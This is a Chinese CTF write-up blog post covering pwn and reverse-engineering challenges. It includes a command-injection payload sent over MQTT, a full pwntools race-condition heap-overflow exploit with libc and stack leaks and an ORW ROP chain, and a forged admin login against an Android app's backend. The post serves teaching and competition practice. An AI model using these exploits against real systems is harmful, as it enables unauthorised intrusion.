    payload1 = b"GET /ctf/AAAAAAAAAA;cat${IFS}*${IFS}$(printf${IFS}'\57flag') HTTP/1.1rn"
    client.publish(TOPIC, payload1)

    time.sleep(1)

    payload2 = b"GET /ctf/index_html HTTP/1.1rnHost: arnContentLength: 10rn"
    client.publish(TOPIC, payload2)

    try:
        while True:
            time.sleep(0.1)
    except KeyboardInterrupt:
        os._exit(0)

if __name__ == "__main__":
    main()
polarisctf{57007cba-11fe-4506-803e-7f9c27adce6d}

Throne Hazard

程序开启了严格的 Seccomp 沙箱(由 prctl(22, 2, &unk_4040C0) 可知),禁用了 execve 等系统调用,无法直接 get shell,必须构造 ORW ROP 链来读取 flag。

条件竞争导致的堆溢出

漏洞存在于主线程(main 选项 2)与后台线程(start_routine)对全局变量 dword_4040A4的异步读写中。

if ( (unsigned int)dword_4040A4 > 0x20 ) { 
    // ...
} else {
    // 1. 分配 0x30 大小的堆块
    v9 = calloc(0x30u, 1u); 

    // 2. 唤醒后台线程
    dword_404140 = 1; 

    // 3. 阻塞等待用户输入 1 字节
    sub_401D90(&v11, 1); 

    // 4. 根据当前的 dword_4040A4 计算剩余读取大小
    v10 = (unsigned int)dword_4040A4 + 15LL; 
    sub_401D90(qword_4041F8 + 1, v10); // 漏洞点:发生堆溢出
}

后台线程 start_routine 关键代码:

if ( dword_404140 == 1 ) {
    v1 = dword_4040A0; // 用户在选项1中设置的 appeal target (最大0x78)
    usleep(v2); // 睡眠短暂时间
    dword_4040A4 = v1; // 篡改 dword_4040A4 的值
    // ...
}

分析:

主线程在检查时 dword_4040A4 <= 0x20,检查通过。随后主线程在 sub_401D90(&v11, 1) 处阻塞等待输入。此时后台线程醒来,将 dword_4040A4 篡改为我们在选项 1 设置的 0x78。当我们输入 1 字节解除阻塞后,主线程使用新的值计算大小:0x78 + 15 = 135。
最终程序向 0x30 大小的堆块中写入了 135 字节,造成严重的堆溢出,可覆盖相邻堆块的数据

漏洞利用步骤

堆布局
顺序执行选项 2 和 选项 3
内存中形成相邻布局:[Capsule chunk (0x30)] [Actuator chunk (0x48)]

2. 泄露 Libc 基址
操作: 触发条件竞争,输入 135 字节覆盖相邻的 Actuator 结构体。将 Actuator 的 lane 设为 0(对应 puts),将目标指针参数设为 puts 的 GOT 表地址
然后Pwntools 使用 elf.got['puts'] 获取
执行: 调用选项 6 (Dispatch),程序打印出 puts 的真实内存地址,减去 Libc 中的 puts 偏移,得到 libc_base

3. 泄露栈地址 
操作: 再次触发条件竞争覆盖 Actuator,lane 保持 0,目标指针指向 Libc 中的 environ 变量
获取地址方式: Pwntools 使用 libc.sym['environ'] 获取
执行: 调用选项 6,打印出栈地址 stack_leak

4. 劫持栈返回地址 (ROP布置)
操作: main 函数的返回地址大约在 stack_leak - 0x150 的位置。第三次触发条件竞争,将 Actuator 的 lane 设为 1(对应 read 输入),目标指针指向 main 的返回地址
获取地址方式: 结合 pwntools ROP(libc) 自动寻找 ret、pop rdi 等 gadget 生成 ORW 链
执行: 调用选项 6,向被劫持的栈地址写入 Ret Sled(滑板指令,提高命中率) + ORW ROP 链

5. 触发 ROP
选择选项 8 (Exit) 退出主循环,main 函数执行 ret,由于返回地址已被覆盖,控制流滑入 ORW 链,打开并读取 flag 输出到屏幕

exp.py

from pwn import *
import time

BINARY_NAME = './pwn'
LIBC_NAME = './libc.so.6'

context.arch = 'amd64'
context.os = 'linux'

def solve():
    elf = ELF(BINARY_NAME, checksec=False)
    libc = ELF(LIBC_NAME, checksec=False)

    io = remote('nc1.ctfplus.cn', 43799)

    def appeal(target):
        io.sendlineafter(b"> ", b"1")
        io.sendlineafter(b"> ", str(target).encode())

    def forge_race(primer, stream=b"", target_val=0x78):
        while True:
            appeal(target_val)
            io.sendlineafter(b"> ", b"2")
            io.recvuntil(b"forge primer (1 byte)> ")

            time.sleep(0.18)
            io.send(primer)

            resp = io.recvuntil(b"bytes left)> ")

            if b"0x87" in resp or b"135" in resp:
                if stream:
                    io.send(stream)
                return True
            else:
                io.send(b"A" * 47)
                io.recvuntil(b"forge committed")

    def build_actuator():
        io.sendlineafter(b"> ", b"3")

    def dispatch():
        io.sendlineafter(b"> ", b"6")

    appeal(0x20)
    io.sendlineafter(b"> ", b"2")
    io.sendafter(b"> ", b"A")
    io.sendafter(b"> ", b"A" * 47)
    build_actuator()

    payload = b"A" * 0x2F           
    payload += p64(0) + p64(0x51)               
    payload += b"sentinel-9".ljust(16, b'x00') 
    payload += p64(0)                           
    payload += p64(8)                           
    payload += p64(elf.got['puts'])             
    payload = payload.ljust(135, b"B")

    forge_race(b"X", payload)
    io.recvuntil(b"forge committed")

    dispatch()
    io.recvuntil(b"[dispatch lane 0]n")
    puts_leak = u64(io.recvline().strip().ljust(8, b'x00'))
    io.recvuntil(b"[dispatch complete]")

    libc.address = puts_leak - libc.sym['puts']
    environ_ptr = libc.sym['environ']

    payload = b"A" * 0x2F
    payload += p64(0) + p64(0x51)
    payload += b"sentinel-9".ljust(16, b'x00')
    payload += p64(0)               
    payload += p64(8)               
    payload += p64(environ_ptr)     
    payload = payload.ljust(135, b"B")

    forge_race(b"X", payload)
    io.recvuntil(b"forge committed")

    dispatch()
    io.recvuntil(b"[dispatch lane 0]n")
    stack_leak = u64(io.recvline().strip().ljust(8, b'x00'))
    io.recvuntil(b"[dispatch complete]")

    if stack_leak == 0:
        return

    guessed_ret_addr = stack_leak - 0x150 
    flag_str_addr = guessed_ret_addr + 0x150 

    rop = ROP(libc)
    rop.call('open', [flag_str_addr, 0])
    rop.call('read', [3, flag_str_addr, 0x100])
    rop.call('write', [1, flag_str_addr, 0x100])

    ret_gadget = rop.find_gadget(['ret'])[0]
    sled = p64(ret_gadget) * 16  

    rop_payload = sled + rop.chain()
    rop_payload = rop_payload.ljust(0x150, b'x00') + b"flagx00"

    payload = b"A" * 0x2F
    payload += p64(0) + p64(0x51)
    payload += b"sentinel-9".ljust(16, b'x00')
    payload += p64(1)               
    payload += p64(len(rop_payload))
    payload += p64(guessed_ret_addr)        
    payload = payload.ljust(135, b"B")

    forge_race(b"X", payload)
    io.recvuntil(b"forge committed")

    io.sendlineafter(b"> ", b"6")
    io.recvuntil(b"[dispatch lane 1]n") 
    io.send(rop_payload)
    io.recvuntil(b"[dispatch complete]")

    io.sendlineafter(b"> ", b"8")

    output = io.recvall(timeout=2).decode(errors='ignore')
    print(output)

if __name__ == "__main__":
    solve()
polarisctf{cfbdc279-be49-450f-9a2b-8646159cfffb}

Reverse

ez_uds

考点

汽车车联网 UDS 协议(0x27 Security Access 安全访问服务)
密码学/位运算(异或、循环位移)

解题

分析题目提示,可知是 UDS 27服务挑战响应机制。
客户端发送 27 01 请求 Seed,服务端响应 67 01 [4字节Seed]。
提取出 Seed 后,代入题目给定的加密算法计算出 Key。算法主要包含:与常数异或、32位循环左移3位、加上常数并截断至32位。
构造并发送 27 02 [4字节Key] 进行验证。

手动计算解

服务器返回的 67 01 BB B6 CA C9 中,67 01 是 27 01 的正响应头,4 字节 Seed 是 0xBBB6CAC9。

执行计算
代入题目给出的算法,计算过程如下:

一:与常量异或
key = 0xBBB6CAC9 ^ 0xA5A5A5A5
结果:0x1E136F6C

二:32位循环左移 3 位
key = ((0x1E136F6C << 3) | (0x1E136F6C >> 29)) & 0xFFFFFFFF
左移 3 位后:0xF09B7B60

三:加上常量并截断至 32 位
key = (0xF09B7B60 + 0x12345678) & 0xFFFFFFFF
相加结果是 0x102CFD1D8,截断高位后得到最终 Key:0x02CFD1D8

将算出的 Key 拼接到 27 02 服务请求后面即可
答案就是270202CFD1D8

exp

from pwn import *

def calculate_key(seed):
    key = seed ^ 0xA5A5A5A5
    key = ((key << 3) | (key >> 29)) & 0xFFFFFFFF
    key = (key + 0x12345678) & 0xFFFFFFFF
    return key

def main():
    io = remote('nc1.ctfplus.cn', 16885)

    io.recvuntil(b"Input HEX (e.g. 2701 or 270212345678): ")
    io.sendline(b"2701")

    res = io.recvuntil(b"Input HEX (e.g. 2701 or 270212345678): ").decode(errors='ignore')
    clean_res = res.replace(" ", "").replace("r", "").replace("n", "")
    idx = clean_res.find("6701")

    seed = int(clean_res[idx+4 : idx+12], 16)
    key = calculate_key(seed)

    io.sendline(f"2702{key:08X}".encode())
    io.interactive()

if __name__ == '__main__':
    main()
polarisctf{a2d99350-4333-4980-a18e-0e85ff69b4f5}

Illusion

分析 main函数

程序首先校验 flag 格式为 xmctf{...},并限制大括号内的 payload 长度为 18 字节。随后会进入一段疑似 RC4 的加密逻辑。如果在这里随意输入,必然通不过校验,程序走到假分支调用 MessageBoxA 弹窗并退出。

题目名 Illusion (幻觉),main 里的逻辑其实是个陷阱。查看程序入口前的 .CRT 初始化阶段,会发现 sub_140001000 函数被提前执行,它对系统 API 进行了 Hook,将 MessageBoxA 的执行流劫持到了隐藏的 sub_1400010F0 函数。也就是说,在 main 里触发失败弹窗,实际上正是进入真实验证逻辑的入口。

核心加密函数 sub_1400010F0

Padding: 程序先将传入的 18 字节 payload 进行 PKCS#7 填充,补齐到 32 字节。
AES 特征识别: 填充后调用了内部的加密模块,跟进去可以看到明显的 S 盒代换(SubBytes)、行移位和列混淆操作,确认为标准的 AES-128 算法,模式为 ECB。

Key 提取: 密钥硬编码在栈上被动态赋值,提取 0x34123412, 0x34123412, 0x34123412, 0x21534541,按小端序转换为 byte 为 b"x12x34x12x34x12x34x12x34x12x34x12x34AES!"。
密文提取: 函数末尾有一长串逐字节比对,直接提取出 32 字节的真实密文。

无魔改 AES,直接拿提取出的真实密钥和密文,使用标准 AES-128-ECB 解密,截取前 18 字节(丢弃 padding 部分)即可得到明文,拼接 flag 格式输出就行

exp.py

from Crypto.Cipher import AES

key = b"x12x34x12x34x12x34x12x34x12x34x12x34AES!"
enc = bytes([
    0xF2, 0x7B, 0x7E, 0x75, 0xB4, 0x5C, 0x08, 0xFA, 
    0x19, 0x3C, 0x8A, 0x4A, 0x04, 0xF8, 0x1F, 0x67, 
    0x1B, 0x05, 0x9C, 0xE7, 0x27, 0x40, 0x78, 0x6D, 
    0x28, 0xF6, 0xA8, 0xB8, 0x06, 0xC6, 0xC5, 0x51
])

cipher = AES.new(key, AES.MODE_ECB)
decrypted = cipher.decrypt(enc)
payload = decrypted[:18].decode('utf-8')

print(f"xmctf{{{payload}}}")
xmctf{R3a1_w0rld_M47ters}

移动的秘密

二进制文件 分析main函数

输入长度获取:通过 scanf("%29s", s) 读取最多 29 位的输入 。
第一层校验(右移 1 位):程序遍历输入,执行 v15[i] = s[i] >> 1,将每个字符右移 1 位 。随后将结果与内存中的两段数据 xmmword_3080 和 xmmword_3090 进行比对 。
第二层校验(MD5 验证):程序接着调用了 sub_1DF0 和 sub_1F60 处理原始输入 。由于初始化向量 xmmword_3060 的值为 1032547698BADCFEEFCDAB8967452301h (即标准的 MD5 常数 0x67452301 等的小端序),可以知道是在计算 MD5。最后将计算出的 MD5 与 xmmword_3070 的值比对 。

双击伪代码中的变量名,跳转到 .rodata`只读数据段提取值:

右移比对值 :
xmmword_3080: 2F192F3236183136323B3D333A31363Ch 
xmmword_3090: 3E191918182F391839303637382F192Fh 
注意:由于是小端序,在内存中实际是从右往左读,前缀刚好对应 xmctf{ 右移 1 位的值

目标 MD5 值:
xmmword_3070: 0ADD32914868A321CB319007198C0223Ah 
按小端序转换为标准 MD5 字符串即为:3a22c098710019b31c328a861429d3ad

逆向与爆破

信息丢失:右移 1 位 (>> 1) 会丢失最低位,所以逆推回去时,每个字节 val 有两种可能:val * 2 或 val * 2 + 1
范围限定:flag 由 xmctf{} 包裹,且内部通常是可见字符(字母、数字、下划线)
MD5 爆破:根据右移比对值生成所有可能的组合,逐一计算 MD5 并与目标值比较,相符的即为真 flag

exp.py

import hashlib
import itertools
import math

target_md5 = "3a22c098710019b31c328a861429d3ad"

shift_vals = [
    0x3C, 0x36, 0x31, 0x3A, 0x33, 0x3D,
    0x3B, 0x32, 0x36, 0x31, 0x18, 0x36, 0x32,
    0x2F, 0x19, 0x2F,
    0x38, 0x37, 0x36, 0x30, 0x39, 0x18, 0x39,
    0x2F,
    0x18, 0x18, 0x19, 0x19,
    0x3E
]

options = []

for i, v in enumerate(shift_vals):
    if i == 0: options.append(['x'])
    elif i == 1: options.append(['m'])
    elif i == 2: options.append(['c'])
    elif i == 3: options.append(['t'])
    elif i == 4: options.append(['f'])
    elif i == 5: options.append(['{'])
    elif i == 28: options.append(['}'])
    else:
        chars = [chr(v * 2), chr(v * 2 + 1)]
        valid_chars = [c for c in chars if c.isalnum() or c == '_']
        options.append(valid_chars)

total_combinations = math.prod(len(opt) for opt in options)
print(f"[*] 爆破,组合总数: {total_combinations} ...")

for p in itertools.product(*options):
    candidate = "".join(p)
    if hashlib.md5(candidate.encode()).hexdigest() == target_md5:
        print(f"[+] 成功碰撞 MD5!")
        print(f"[+] 最终 flag 为: {candidate}")
        break
 xmctf{welc0me_2_polar1s_1022}

ezFinger

根据题目找

sub_8003498 和 sub_8000EC0处对应的函数名是什么?flag格式xmctf{名称1_名称2}

sub_8003498:时钟频率计算

操作 0x40023804/8(STM32 RCC寄存器),根据 HSI/HSE/PLL 状态计算时钟频率
STM32 HAL库标准函数 HAL_RCC_GetSysClockFreq。

sub_8000EC0:引脚电平控制

特征:引脚编号校验(>0x5F),通过 aInMKi 查表映射虚拟引脚为物理 GPIO Port 和 Pin 掩码并输出电平。
stm32duino(Arduino Core for STM32)的标志性函数 digitalWrite。

拼接

xmctf{HAL_RCC_GetSysClockFreq_digitalWrite}

hajimi

逻辑:这是一个由 DeepMind Tracr 编译的 Transformer 模型。分析题目脚本可知,输入被限制为 16 个字符,且只能包含 1, 2, 3, 4,不满足则输出 "Wrong grid."。

核心:16个格子、1-4的数字、名为 "grid",判断这是一个 4x4 四宫数独 (Shi-doku) 的验证模型。
解法:4x4 数独合法解仅有 288 种,无需逆向模型权重,直接生成这 288 种可能组合,批量喂给模型进行黑盒爆破,找出输出不是 "Wrong grid." 的唯一解,计算 SHA256 即可。

环境Git

下载

pip install dm-haiku jax jaxlib zstandard numpy git+https://github.com/google-deepmind/tracr

exp.py

import pickle
import types
import hashlib
import haiku as hk
import jax
import jax.nn
import zstandard as zstd
from tracr.compiler.assemble import AssembledTransformerModel, _make_embedding_modules
from tracr.transformer.model import CompiledTransformerModel, Transformer, TransformerConfig

VALID_DIGITS = set("1234")

def load_model(path: str):
    with open(path, "rb") as fp, zstd.ZstdDecompressor().stream_reader(fp) as cfp:
        o = types.SimpleNamespace(**pickle.load(cfp))
    o.config["activation_function"] = getattr(jax.nn, o.config["activation_function"])

    def get_compiled_model():
        transformer = Transformer(TransformerConfig(**o.config))
        embed_modules = _make_embedding_modules(*o.embed_spaces)
        return CompiledTransformerModel(
            transformer, embed_modules.token_embed, embed_modules.pos_embed,
            embed_modules.unembed, use_unembed_argmax=True,
        )

    @hk.without_apply_rng
    @hk.transform
    def forward(emb):
        cmodel = get_compiled_model()
        return cmodel(emb, use_dropout=False)

    return AssembledTransformerModel(
        forward=forward.apply, get_compiled_model=None, params=o.params,
        model_config=o.config, residual_labels=o.residual_labels,
        input_encoder=o.input_encoder, output_encoder=o.output_encoder,
    )

def decode_output(output):
    out = output.decoded
    if "EOS" in out: 
        out = out[: out.index("EOS")]
    return "".join(out[1:])

def generate_4x4_sudoku():
    grids = []
    def dfs(grid):
        if len(grid) == 16:
            grids.append("".join(grid))
            return
        r, c = divmod(len(grid), 4)
        for v in "1234":
            if v in grid[r*4 : r*4 + c]: continue
            if v in grid[c : r*4 + c : 4]: continue
            br, bc = (r // 2) * 2, (c // 2) * 2
            in_block = False
            for i in range(br, r):
                for j in range(bc, bc + 2):
                    if grid[i*4 + j] == v: in_block = True
            for j in range(bc, c):
                if grid[r*4 + j] == v: in_block = True
            if not in_block:
                grid.append(v)
                dfs(grid)
                grid.pop()
    dfs([])
    return grids

if __name__ == "__main__":
    model = load_model("challenge.pkl.zst")
    grids = generate_4x4_sudoku()

    for grid in grids:
        tokens = ["BOS"] + list(grid)
        out_str = decode_output(model.apply(tokens))

        if "Wrong grid" not in out_str:
            flag_hash = hashlib.sha256(grid.encode()).hexdigest()
            print(f"xmctf{{{flag_hash}}}")
            break
xmctf{b0a0d1edc0fb5b75770a5dcbe7b0d4fb08e42fd281a94ee67b405e36056f1df1}

Hulua

发现主体校验逻辑并未在 C 代码中,而是内嵌了 Lua 解释器。
跟进关键函数 sub_1400014A4,发现程序将 .data 段中的加密 Lua 字节码读取出来并进行循环异或解密。

数据物理偏移:0x31A00
数据大小:1504 字节 (0x5E0)
XOR 密钥:"hulua"

从 EXE 中提取加密数据并异或还原出 .luac 文件

exp

offset = 0x31A00
size = 1504
with open("Hulua.exe", "rb") as f:
    f.seek(offset)
    encrypted_data = f.read(size)

key = b"hulua"
decrypted_data = bytearray()

for i in range(len(encrypted_data)):
    decrypted_data.append(encrypted_data[i] ^ key[i % len(key)])

with open("check_script.luac", "wb") as f:
    f.write(decrypted_data)

反汇编 Lua 字节码

尝试使用 unluac 直接反编译 .luac文件,报Condition is not followed by jump` 错误。出题人对 Lua 底层指令做了 Opcode 乱序及控制流混淆。 放弃反编译,直接输出底层汇编指令:

java -jar unluac.jar --disassemble check_script.luac > disasm.txt

看汇编指令

整合

RC4 Key:"78 6D 63 74 66 32 30 32 36" (即 xmctf2026)
密文:8B 8B 77 BE 68 61 86 68 E5 63 EE 84 35 6F 58 C8 51 0F 6E 94 70 E7 26 90 B6 75 EC 28 AF 14 E2 E3
附加常量:.constant k7 102 (102 即 0x66)

分析指令发现 ADD、MOD、BXOR 等操作码被替换成了 div、bor、not。结合 k7 常量还原最终校验公式:
Cipher[i] = Input[i] ^ RC4_KeyStream[i] ^ 102

公式逆向计算 flag

exp.py

key = b"xmctf2026"
cipher_hex = "8B 8B 77 BE 68 61 86 68 E5 63 EE 84 35 6F 58 C8 51 0F 6E 94 70 E7 26 90 B6 75 EC 28 AF 14 E2 E3"
cipher = [int(x, 16) for x in cipher_hex.split()]

S = list(range(256))
j = 0
for i in range(256):
    j = (j + S[i] + key[i % len(key)]) % 256
    S[i], S[j] = S[j], S[i]

flag = bytearray()
i = 0
j = 0
for byte in cipher:
    i = (i + 1) % 256
    j = (j + S[i]) % 256
    S[i], S[j] = S[j], S[i]
    K = S[(S[i] + S[j]) % 256]
    flag.append(byte ^ K ^ 102)

print(flag.decode('utf-8'))
xmctf{lu4t1c_r3v3rs3_ch4ll3ng3!}

MixTielele

考点

Android Dex 动态加载 / 隐藏 Dex 分析
JNI 动态注册与 Native 层密码学分析 (AES+RSA)
Protobuf 逆向与数据伪造
自定义 LCG-XOR 流密码还原

Java 层入口分析 (JADX)

载入 APK 至 JADX,定位到 MainActivity com.example.titlele.OO00OO0OOOO000O000

发现程序在 login() 方法中调用了 OO00OO0OO0000OOOOO.load(this),加载了位于 native 目录下的 libflutter.so。
随后通过反射调用隐藏的 Login("user") 逻辑。
最后将得到的结果传入 Native 层函数 EncTitlele,并将返回的 JSON 提交至服务器。

提取 lib/arm64-v8a/libflutter.so

由于文件异常大且被 PathClassLoader 加载,判断其为隐藏的 Dex/APK 文件。直接将其拖入 JADX。

寻找核心逻辑:定位到 com.example.titlele.OO00OO0OO00O0OO000 类,发现其注册了一个动态代理 OO00OO0OOO00O00O00 拦截 Login 方法。

Protobuf 陷阱:分析 LogInfo 方法,发现使用了 Protobuf 序列化数据:
传入了 user="user"
逻辑陷阱:硬编码了 isHacker=true
自研加密分析:定位到 com.example.utils.Encrypt.enc,发现是一个基于线性同余发生器 (LCG) 的 XOR 流密码:
INITIAL_SEED = 622918
MULTIPLIER = 1664525
INCREMENT = 1013904223
每次取 key 的低 8 位与数据异或,并迭代更新 key。

将真实的 C/C++ 核心库 libmixtitlele.so 载入 IDA。

定位 JNI 接口:导出表未发现 Java_ 开头函数,转至 JNI_OnLoad 分析

发现动态注册。追踪 RegisterNatives 的第三个参数 off_20DCA8

获取到真实的 EncTitlele 函数地址为 sub_D6DF8。

参考sub_D6DF8 函数

逻辑

RAND_bytes 生成 16 字节随机数作为 AES Key。
memset 生成 16 字节 x00 作为 AES IV。
调用 aesEncryptInfo,使用 AES-CBC 加密从 Java 层传来的 Base64 字符串。
调用 rsaEncryptKey 加密随机生成的 AES Key。
组装 JSON:{"a1": "RSA密文", "b2": "AES密文"}。

追踪aesEncryptInfo

提取 RSA 公钥:进入 rsaEncryptKey (_Z13rsaEncryptKeyPKhi),提取出硬编码的 PEM 格式 RSA 公钥。

绕过陷阱与 Payload 构造

通过服务器返回的错误提示(something wrong -> login as admin -> hacker!!!)得知,必须伪造 Protobuf 数据。
目标:将 user 修改为 admin,将 isHacker 修改为 false。
Protobuf 字节码构造:字段1 (Tag 0x0a, 长度 0x05, 数据 admin),字段2 (Tag 0x10, 数据 0x00)。最终字节为 b'x0ax05adminx10x00'。
将构造好的字节按顺序经过 LCG-XOR -> Base64 -> AES -> 组装 RSA -> 发包。

完整exp.py

import os
import json
import base64
import requests
import ctypes
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from Crypto.Util.Padding import pad

RSA_PUB = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAovOZy74DuQ55Nr/mOKRO
qHjcjVF8V2OrRPEAXz6x61z+jgUBZ6aIFLh3S0/6YSO9/OlWIsrkaJlISCPdrLOj
nvSwt6IOiWKVbzcxqyblR8MHbM74Lp7l9T8M9rKqQmjiCFPcbcpyAsABg5Cwgthf
Bo26BIusvptmb+rHXO5kylRHTMbXrBfC5Yagp25M7bCbpg7JqtR4uaaKg9c849+B
rvYq5PHtfDMAbUVSCbXG17/lR/1WENQSbPTAgdtmkUvdcwV14iHYIhuspiXnIa/Z
5Ze/xekUvwYVk09/pU7T0zSVxR+gRUhNPtKZYiZ/w7alSAVjvGooOSc+ps+7KVCk
yQIDAQAB
-----END PUBLIC KEY-----"""

def lcg_xor(data: bytes) -> bytes:
    res = bytearray()
    curr = ctypes.c_int32(622918)
    for b in data:
        res.append(b ^ (curr.value & 0xFF))
        curr.value = (1664525 * curr.value) + 1013904223
    return bytes(res)

def build_payload() -> str:
    proto_data = b'x0ax05adminx10x00'
    enc_data = lcg_xor(proto_data)
    inner_payload = base64.b64encode(enc_data).decode()

    aes_key = os.urandom(16)
    aes_iv = b'x00' * 16

    aes = AES.new(aes_key, AES.MODE_CBC, aes_iv)
    b2 = base64.b64encode(aes.encrypt(pad(inner_payload.encode(), 16))).decode()

    rsa = PKCS1_v1_5.new(RSA.import_key(RSA_PUB))
    a1 = base64.b64encode(rsa.encrypt(aes_key)).decode()

    return json.dumps({"a1": a1, "b2": b2})

def pwn():
    url = "http://120.48.104.4:2788/24ab99d75d3327cf3c46/login"
    headers = {"Content-Type": "application/json"}

    try:
        req = requests.post(url, data=build_payload(), headers=headers)
        print(req.text)
    except Exception as e:
        pass

if __name__ == '__main__':
    pwn()
xmctf{adde035c89b5fb477e43b1ef78c8d890}

总结

题目还行,但是Misc 不像misc misc为什么会有web题目?就很奇怪?好累啊,有点微死,单人赛题量太多了吧 就一个人解,传统派解不动。

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇